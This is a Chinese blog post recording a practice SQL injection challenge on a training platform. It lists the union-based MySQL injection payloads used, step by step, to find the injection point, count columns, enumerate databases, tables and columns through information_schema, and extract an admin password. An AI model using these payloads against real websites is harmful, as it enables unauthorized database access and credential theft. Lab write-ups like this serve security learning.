sql注入练习笔记

封神台一道sql注入题

传送门

判断注入点

id=1'

页面回显异常说明参数带入数据库查询

输入

id=1 and 1=1

页面回显正常

输入

id=1 and 1=2

页面回显错误

判断此页面存在注入点

判断字段数

id=1 order by 1  回显正常
id=1 order by 2  回显正常
id=1 order by 3  回显异常

此网页字段数为2

查询当前数据库的名称

id = 1 and 1=2 union select 1,database()

查询版本号

id=1 and 1=2 union select 1,version()

Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
information_schema.tables 存放表名和库名的对应
information_schema.columns 存放字段名和表名的对应

查询所有库名

id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata

在mysql中,默认information_schema总库,其中包含所有的库名,表名,字段名…
schema_name是库名,information_schema.schemata是总库里的所有库。
这段的意思是从information_schema.schemata总库的所有库中列出所有的库名。

查询到三个数据库:information_schema,maoshe,test

查询表

id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'

table_name是表名,information_schema.tables是总库里的所有表。
这段意思是从information_schema.tables总库的所有表中列出在maoshe库里的所有表名。

查询字段名

id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'

column_name是字段名, information_schema.columns 是总库里的所有字段。
这段意思是从information_schema.columns总库里的所有字段中列出在maoshe库里且在admin表里的所有字段名。

查询到三个字段名 我们需要获得密码所以查询password字段

id=1 and 1=2 union select 1,password from admin

得到管理员密码 hellohack 验证一下

ps:验证的时候注意不要把空格也复制进去


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1012482327@qq.com

文章标题:sql注入练习笔记

本文作者:亖 玖

发布时间:2020-10-21, 16:09:29

最后更新:2020-10-22, 16:57:05

原始链接:https://sijiu.ren.com/2020/10/21/sql%E6%B3%A8%E5%85%A5%E7%BB%83%E4%B9%A0%E7%AC%94%E8%AE%B0/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏